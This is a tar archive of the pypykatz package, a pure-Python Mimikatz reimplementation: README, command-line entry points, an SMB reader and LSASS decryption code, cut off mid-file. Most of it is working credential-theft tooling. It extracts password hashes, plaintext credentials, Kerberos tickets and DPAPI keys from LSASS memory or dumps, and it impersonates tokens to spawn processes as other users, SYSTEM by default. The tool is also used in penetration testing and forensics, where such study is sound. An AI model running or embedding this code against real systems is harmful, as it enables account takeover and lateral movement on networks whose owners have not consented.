././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.327365 pypykatz-0.6.10/0000775000175000017500000000000014647211624013054 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/LICENSE0000664000175000017500000000206514543266630014066 0ustar00webdevwebdevMIT License Copyright (c) 2018 Tamas Jos (@skelsec) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/MANIFEST.in0000664000175000017500000000003214543266630014607 0ustar00webdevwebdevinclude LICENSE README.md ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.327365 pypykatz-0.6.10/PKG-INFO0000644000175000017500000000132614647211624014151 0ustar00webdevwebdevMetadata-Version: 2.1 Name: pypykatz Version: 0.6.10 Summary: Python implementation of Mimikatz Home-page: https://github.com/skelsec/pypykatz Author: Tamas Jos Author-email: info@skelsecprojects.com Classifier: Programming Language :: Python :: 3.6 Classifier: License :: OSI Approved :: MIT License Classifier: Operating System :: OS Independent Requires-Python: >=3.6 License-File: LICENSE Requires-Dist: unicrypto<=0.1.0,>=0.0.10 Requires-Dist: minidump<=0.1.0,>=0.0.21 Requires-Dist: minikerberos<=0.5.0,>=0.4.1 Requires-Dist: aiowinreg<=0.1.0,>=0.0.11 Requires-Dist: msldap<=0.6.0,>=0.5.7 Requires-Dist: winacl<=0.2.0,>=0.1.9 Requires-Dist: aiosmb<=0.5.0,>=0.4.8 Requires-Dist: aesedb<=0.2.0,>=0.1.4 Requires-Dist: tqdm ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/README.md0000664000175000017500000001736414543266630014350 0ustar00webdevwebdev![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec) ## :triangular_flag_on_post: Sponsors If you like this project, consider sponsoring it on GitHub! [Sponsors](https://github.com/sponsors/skelsec/) # pypykatz Mimikatz implementation in pure Python. At least a part of it :) Runs on all OS's which support python>=3.6 ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg) ## WIKI Since version 0.1.1 the command line changed a little. Worry not, I have an awesome [WIKI](https://github.com/skelsec/pypykatz/wiki) for you. ## Installing Install it via pip or by cloning it from github. The installer will create a pypykatz executable in the python's Script directory. You can run it from there, should be in your PATH. Take care, that the github master version might fail because I'm layz to do a proper branch for the new versions. I'll try to create a branch of stable version tho. ### Via PIP ``` pip3 install pypykatz ``` ### Via Github Install prerequirements ``` pip3 install minidump minikerberos aiowinreg msldap winacl ``` Clone this repo ``` git clone https://github.com/skelsec/pypykatz.git cd pypykatz ``` Install it ``` python3 setup.py install ``` ## Features ### General Platform idependent - all commands have a "live" and a normal version where applicable. The "live" version will use the current system and only works on Windows. The normal commands are platform independent. Can be used as a library for your projects. ### LSASS processing Can parse the secrets hidden in the LSASS process. This is just like mimikatz's `sekurlsa::` but with different commands. The main difference here is that all the parsing logic is separated from the data source, so if you define a new reader object you can basically perform the parsing of LSASS from anywhere. Currently supported data sources: 1. live - reads the LSASS porcess' memory directly 2. minidump - processes a minidump file created by dumping the LSASS process 3. rekall (volatility fork) - processes basically ANY windows memory dumps that rekall can parse 4. pcileech - can dump secrets DIRECTLY via DMA of a live computer 5. remote - this is another project. TBD :) 6. `your project here` seriously, it's super-simple to integrate. ### Registry processing Parses the registry hives to obtain stroed credentials, like NT and LM hashes, domain cached credentials (DCC/DCC2) and LSA secrets. Currently supported data sources: 1. live - has two techniques to parse live registry. First it's in-memory doesn't touch disk, the second is dumping the hives and parsing them with the offline parser 2. offline (hive files) 3. `your project here` seriously, it's super-simple to integrate. ### DPAPI functions - MASTERKEY/BLOB/VAULT/CREDENTIAL DPAPI is the protector of local secrets of many kinds. Currently the project supports decrypting masterkeys, dpapi blobs, credential files, vault files. The results are not 100% correct, as there is not much documentation on most of these things. PR is always welcomed! Currently supported data sources: 1. live - obtains masterkeys directly from LSASS -OR- the user/machine keys from live registry and decrypts the masterkeyfile. 2. hive files (offline)- the user/machine keys from live registry and decrypts the masterkeyfile 3. valid credentials (offline) - can decrypt masterkey files by letting you type in the correct SID and password. 4. `pls don't integrate this part to your project, it's beta` ### Impersonating users Can spawn a new process as any user who has a process running on the machine. Can assign any available token of choise to your thread This is just a basic stuff really. Reson is there that I hate to constanly use psexec to get a system shell from admin... ### other stuff yeah... check the code. it has comments and stuff... ### Rekall command options #### Timestamp override Reason for this parameter to exist: In order to choose the correct structure for parsing we need the timestamp info of the msv dll file. Rekall sadly doesnt always have this info for some reason, therefore the parsing may be failing. If the parsing is failing this could solve the issue. Parameter: ```-t``` Values: ```0``` or ```1``` Example: ``` pypykatz.py rekall -t 0 ``` ## Rekall usage There are two ways to use rekall-based memory parsing. ### Via the ```pypykatz rekall``` command You will need to specify the memory file to parse. ### Via rekall command line IMPORTANT NOTICES: 1. If you are just now deciding to install ```rekall``` please note: it MUST be run in a virtualenv, and you will need to install pypykatz in the same virtualenv! 2. rekall command line is not suitable to show all information acquired from the memory, you should use the ```out_file``` and ```kerberos_dir``` command switches! You can find a rekall plugin file named ```pypykatz_rekall.py``` in the ```plugins``` folder of pypykatz. You will need to copy it in rekall's ```plugins/windows``` folder, and rename it to ```pypykatz.py```. After this modify the ```__init__.py``` file located the same folder and add the following line at the end: ```from rekall.plugins.windows import pypykatz``` If everything is okay you can use the ```pypykatz``` command from the ```rekall``` command line directly. # HELP WANTED If you want to help me getting this project into a stable release you can send mindiumps of the lsass.exe process to the following link: https://nx5494.your-storageshare.de/s/SJteWj3PPbg8jBA IMPORTANT: please *DO NOT* send dumps of your own machine's lsass process!!! I will be able to see your secrets including hashes/passwords! Send dump files from machines like virtual test systems on which you don't mind that someone will see the credentials. (if you have a test domain system where kerberos is set up that would be the best) Also I'd apprechiate if you wouldn't spam me... ### Why do I need these dumps files? In order to create mimikatz in Python one would have to create structure definitions of a gazillion different structures (check the original code) without the help of the build-in parser that you'd naturally get from using a native compiler. Now, the problem is that even a single byte misalignemt will render the parsing of these structures run to an error. Problem is mostly revolving around 32 - 64 aligments, so 32 bit Windows version lsass dumps are apprechiated as well! ### Summary I need data I can verify the code on and administer necessary changes on the parsers until everything works fine. Submitting issues on this github page wouldn't help at all without the actual file and github wouldn't like 40-300Mb file attachments. ## Prerequisites Most of my big python projects are aiming for maximum protability, meaning I only use 3rd party packages where absolutely necessary. As of this point three additional packages are used, and I intend to keep it this way. Python>=3.6 [minidump](https://github.com/skelsec/minidump) [minikerberos](https://github.com/skelsec/minikerberos) [asn1crypto](https://github.com/wbond/asn1crypto) ## Kudos Benjamin DELPY @gentilkiwi for [Mimikatz](https://github.com/gentilkiwi/mimikatz) Francesco Picasso for the [mimikatz.py plugin for volatility](https://raw.githubusercontent.com/sans-dfir/sift-files/master/volatility/mimikatz.py) Alberto Solino (@agsolino) for [impacket](https://github.com/SecureAuthCorp/impacket) ### Crypto Richard Moore for the [AES module](https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py) Todd Whiteman for teh [DES module](http://twhiteman.netfirms.com/des.html) ### Utils David Buxton for the timestamp conversion script ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pyproject.toml0000664000175000017500000000013014543266630015764 0ustar00webdevwebdev[build-system] requires = ["setuptools>=61.0.0"] build-backend = "setuptools.build_meta"././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2793636 pypykatz-0.6.10/pypykatz/0000775000175000017500000000000014647211624014747 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/__amain__.py0000664000175000017500000001006214543266630017203 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import logging def main(): import argparse import glob from pypykatz.alsadecryptor.cmdhelper import LSACMDHelper cmdhelpers = [LSACMDHelper()] parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) version_group = subparsers.add_parser('version', help='version') banner_group = subparsers.add_parser('banner', help='banner') logo_group = subparsers.add_parser('logo', help='logo') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj #results = {} #files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.command == 'version': from pypykatz._version import __version__ print(__version__) elif args.command == 'banner': from pypykatz._version import __banner__ print(__banner__) elif args.command == 'logo': from pypykatz._version import __logo__, __logo_color__ print(__logo_color__) print(__logo__) if __name__ == '__main__': main() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/__init__.py0000664000175000017500000000011114543266630017053 0ustar00webdevwebdevname = "pypykatz" import logging logger = logging.getLogger('pypykatz') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/__main__.py0000664000175000017500000001157414543266630017053 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import logging def main(): import argparse import glob from pypykatz import logger from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper from pypykatz.remote.cmdhelper import RemoteCMDHelper from pypykatz.dpapi.cmdhelper import DPAPICMDHelper from pypykatz.rdp.cmdhelper import RDPCMDHelper from pypykatz.parsers.cmdhelper import ParsersCMDHelper cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper(), ParsersCMDHelper()] try: from pypykatz.smb.cmdhelper import SMBCMDHelper cmdhelpers.append(SMBCMDHelper()) except Exception as e: print(e) pass parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) version_group = subparsers.add_parser('version', help='version') banner_group = subparsers.add_parser('banner', help='banner') logo_group = subparsers.add_parser('logo', help='logo') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) logger.setLevel(logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) logger.setLevel(logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) logger.setLevel(1) ##### Common obj #results = {} #files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.command == 'version': from pypykatz._version import __version__ print(__version__) elif args.command == 'banner': from pypykatz._version import __banner__ print(__banner__) elif args.command == 'logo': from pypykatz._version import __logo__, __logo_color__ print(__logo_color__) print(__logo__) if __name__ == '__main__': main() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721569208.0 pypykatz-0.6.10/pypykatz/_version.py0000664000175000017500000000234314647207670017155 0ustar00webdevwebdev __version__ = "0.6.10" __banner__ = \ """ # pypyKatz %s # Author: Tamas Jos @skelsec # License: MIT """ % __version__ __logo__ = \ """ &. @@@@@ ///////\\ @@@@@@@ ////////////. @@@@@@@@@@ ///(( /////\. @/@@@@@@@@@ //(( ///// @@@@@@@@@@@@@ //((( / " @@@@@@@@@ \(((( @@@@@@@@@@@@@ \\((((((.@@@@@@@@@@@@@@@@ ------ P Y P Y K A T Z ------ """ __logo_color__ = \ """ \x1b[38;5;240m &. \x1b[0m \x1b[38;5;240m @@@@@ \x1b[0m \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------ """././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2833636 pypykatz-0.6.10/pypykatz/alsadecryptor/0000775000175000017500000000000014647211624017623 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/__init__.py0000664000175000017500000000021714543266630021736 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from .lsa_templates import * from .lsa_decryptor import * from .packages import *././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/asbmfile.py0000664000175000017500000000373514543266630021771 0ustar00webdevwebdev import math class FileSection: def __init__(self, startpos, data): self.startpos = startpos self.endpos = startpos + len(data) self.data = data def inrange(self, start, size): if start >= self.startpos and (start+size) <= self.endpos: return True return False def read(self, start, size): return self.data[ start - self.startpos : (start - self.startpos) + size] class SMBFileReader: def __init__(self, smbfile): self.smbfile = smbfile self.cache = [] self.curpos = 0 async def open(self, connection, mode = 'r'): return await self.smbfile.open(connection, mode=mode) async def read(self, n = -1): #print('read %s' % n) if n == 0: return b'' if n != -1: for section in self.cache: if section.inrange(self.curpos, n) is True: #print(n) data = section.read(self.curpos, n) #print(data) await self.seek(n, 1) return data #print('CACHE MISS!') # requested data not found in cache, this case we will read a larger chunk than requested and store it in memory # since reading more data skews the current position we will need to reset the position by calling seek with the correct pos readsize = min(self.smbfile.maxreadsize, self.smbfile.size) buffer = b'' # this is needed bc sometimes the readsize is smaller than the requested amount for _ in range(int(math.ceil(n/readsize))): data, err = await self.smbfile.read(readsize) if err is not None: raise err buffer += data section = FileSection(self.curpos, buffer) self.cache.append(section) data = section.read(self.curpos, n) await self.seek(self.curpos + n, 0) return data async def close(self): return await self.smbfile.close() async def delete(self): return await self.smbfile.delete() def tell(self): return self.curpos async def seek(self, n, whence = 0): #print('seek %s %s' % (whence, n)) _, err = await self.smbfile.seek(n, whence) if err is not None: raise err self.curpos = self.smbfile.tell()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/cmdhelper.py0000664000175000017500000001666114543266630022154 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import json import glob import ntpath import traceback import asyncio import base64 from pypykatz import logger from pypykatz.apypykatz import apypykatz from pypykatz.commons.common import UniversalEncoder from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession class LSACMDHelper: def __init__(self): self.live_keywords = ['lsa'] self.keywords = ['lsa'] def add_args(self, parser, live_parser): group = parser.add_parser('lsa', help='Get secrets from memory dump') group.add_argument('cmd', choices=['minidump','rekall']) group.add_argument('memoryfile', help='path to the dump file') group.add_argument('-t','--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: asyncio.run(self.run(args)) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def process_results(self, results, files_with_error, args): if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile and args.grep: with open(args.outfile, 'w', newline = '') as f: f.write(':'.join(LogonSession.grep_header) + '\r\n') for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): f.write(':'.join(row) + '\r\n') elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) elif args.grep: if args.directory: print(':'.join(['filename'] + LogonSession.grep_header)) else: print(':'.join(LogonSession.grep_header)) for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): if args.directory: row = [result] + row print(':'.join(row)) for cred in results[result].orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] if args.directory: x = [result] + x print(':'.join(x)) else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] if args.directory: x = [result] + x print(':'.join(x)) for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] if args.directory: x = [result] + x print(':'.join(x) + '\r\n') else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(results[result].errors) > 0: print('== Errors ==') for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() print('%s %s' % (pkg+'_exception_please_report',err_str)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logger.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir) def run_live(self, args): return async def run(self, args): files_with_error = [] results = {} ###### Minidump if args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) for file_pattern in ['*.dmp', '*.DMP']: if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logger.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logger.info('Parsing file %s' % filename) try: mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages) results[filename] = mimi except Exception as e: files_with_error.append(filename) logger.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logger.info('Parsing file %s' % args.memoryfile) try: mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages) results[args.memoryfile] = mimi except Exception as e: logger.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_decryptor.py0000664000175000017500000000120214543266630023044 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 from pypykatz.alsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6 from pypykatz.alsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5 class LsaDecryptor: def __init__(self): pass @staticmethod def choose(reader, decryptor_template, sysinfo): if isinstance(decryptor_template, LsaTemplate_NT5): return LsaDecryptor_NT5(reader, decryptor_template, sysinfo) else: return LsaDecryptor_NT6(reader, decryptor_template, sysinfo)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_decryptor_nt5.py0000664000175000017500000003270114543266630023642 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto.symmetric import RC4 from pypykatz.alsadecryptor.package_commons import PackageDecryptor from pypykatz.alsadecryptor.win_datatypes import LONG class LsaDecryptor_NT5(PackageDecryptor): def __init__(self, reader, decryptor_template, sysinfo): super().__init__('LsaDecryptor', None, sysinfo, reader) self.decryptor_template = decryptor_template self.feedback = None self.feedback_offset = None self.des_key = None self.random_key = None async def acquire_crypto_material(self): self.log('Acquireing crypto stuff...') sigpos = await self.find_signature() await self.reader.move(sigpos) #data = self.reader.peek(0x50) #self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) for x in [self.decryptor_template.feedback_ptr_offset , self.decryptor_template.old_feedback_offset]: self.feedback_offset = x try: self.feedback = await self.get_feedback(sigpos) #self.log('Feedback bytes:\n%s' % hexdump(self.feedback, start = 0)) self.des_key = await self.get_key(sigpos) self.random_key = await self.get_random(sigpos) #self.log('randomkey bytes:\n%s' % hexdump(self.random_key, start = 0)) except: import traceback traceback.print_exc() #input() else: break async def get_feedback(self, sigpos): if self.decryptor_template.arch == 'x86': new_ptr = await self.reader.get_ptr_with_offset(sigpos + self.feedback_offset) await self.reader.move(new_ptr) return await self.reader.read(8) else: await self.reader.move(sigpos + self.feedback_offset) offset = await LONG.loadvalue(self.reader) newpos = sigpos + self.feedback_offset + 4 + offset await self.reader.move(newpos) return await self.reader.read(8) async def get_key(self, sigpos): if self.decryptor_template.arch == 'x86': new_ptr = await self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.desx_key_ptr_offset) await self.reader.move(new_ptr) des_key_ptr = await self.decryptor_template.key_struct_ptr.load(self.reader) des_key = await des_key_ptr.read(self.reader) else: await self.reader.move(sigpos + self.decryptor_template.desx_key_ptr_offset) offset = await LONG.loadvalue(self.reader) newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset await self.reader.move(newpos) des_key_ptr = await self.decryptor_template.key_struct_ptr.load(self.reader) des_key = await des_key_ptr.read(self.reader) return des_key async def get_random(self, sigpos): if self.decryptor_template.arch == 'x86': random_key_ptr = await self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.randomkey_ptr_offset) random_key_ptr = await self.reader.get_ptr_with_offset(random_key_ptr) await self.reader.move(random_key_ptr) else: await self.reader.move(sigpos + self.decryptor_template.randomkey_ptr_offset) offset = await LONG.loadvalue(self.reader) newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset await self.reader.move(newpos) return await self.reader.read(256) async def find_signature(self): self.log('Looking for main struct signature in memory...') fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) if len(fl) == 0: self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex()) raise Exception('LSA signature not found!') self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) self.log('Selecting first one @ 0x%08x' % fl[0]) return fl[0] def 